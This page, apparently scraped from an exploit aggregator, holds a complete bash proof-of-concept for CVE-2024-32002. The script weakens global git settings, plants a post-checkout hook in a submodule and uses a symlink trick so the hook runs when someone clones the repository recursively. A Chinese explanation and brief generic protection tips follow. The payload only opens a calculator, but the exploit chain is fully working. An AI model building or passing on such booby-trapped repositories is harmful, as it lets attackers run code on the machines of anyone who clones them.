## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-BOHEMIANHACKS-CVE-2024-32002-POC
**Bash 脚本:**
root@kitploit:~
#!/bin/bash
# Set Git configuration options
git config --global protocol.file.allow always
git config --global core.symlinks true
# Avoid warning messages (set default branch to main)
git config --global init.defaultBranch main
# Define tell-tale path
tell_tale_path="$PWD/tell.tale"
# Initialize hook repository
git init hook
cd hook
mkdir -p y/hooks
# Write malicious code to hook, compatible with Windows and macOS
cat > y/hooks/post-checkout <<EOF
#!/bin/bash
calc.exe
open -a Calculator.app
EOF
# Make hook executable: important
chmod +x y/hooks/post-checkout
git add y/hooks/post-checkout
git commit -m "post-checkout"
cd ..
# Define hook repository path
hook_repo_path="$(pwd)/hook"
# Initialize captain repository
git init captain
cd captain
git submodule add --name x/y "$hook_repo_path" A/modules/x
git commit -m "add-submodule"
# Create symbolic link
printf ".git" > dotgit.txt
git hash-object -w --stdin < dotgit.txt > dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
git update-index --index-info < index.info
git commit -m "add-symlink"
cd ..
# Local testing (not needed for GitHub)
git clone --recursive captain hooked
**通俗解释:**
此 Bash 脚本创建了一个恶意的 Git 仓库,利用漏洞 (CVE-2024-32002) 在有人克隆该仓库时执行恶意代码。
以下是该脚本的分解说明:
1. **设置 Git 配置:** 启用攻击所需的某些功能。
2. **创建恶意钩子仓库:** 该仓库包含一个隐藏脚本,当有人克隆它时会运行。
3. **创建欺骗性仓库:** 这个名为“captain”的仓库看起来无害,但秘密地将恶意钩子仓库作为子模块包含在内。
4. **添加符号链接:** 这种诡计用于隐藏恶意钩子,并在克隆仓库时使其执行。
**当有人克隆“captain”仓库时,恶意脚本将在他们的计算机上运行,可能导致以下有害后果:**
* **安装恶意软件:** 该脚本可能下载并安装恶意软件。
* **数据窃取:** 它可能窃取受害者计算机上的敏感信息。
* **系统入侵:** 该脚本可能获得对系统的未授权访问。
**为了保护自己免受此类攻击:**
* **保持 Git 客户端更新:** 确保使用最新版本以解决漏洞。
* **克隆仓库时保持谨慎:** 仅从可信来源克隆仓库。
* **使用信誉良好的防病毒软件:** 这有助于检测和阻止恶意软件。
* **警惕钓鱼攻击:** 避免点击可疑链接或从未知来源下载文件。
通过遵循这些预防措施,你可以显著降低遭受类似攻击的风险。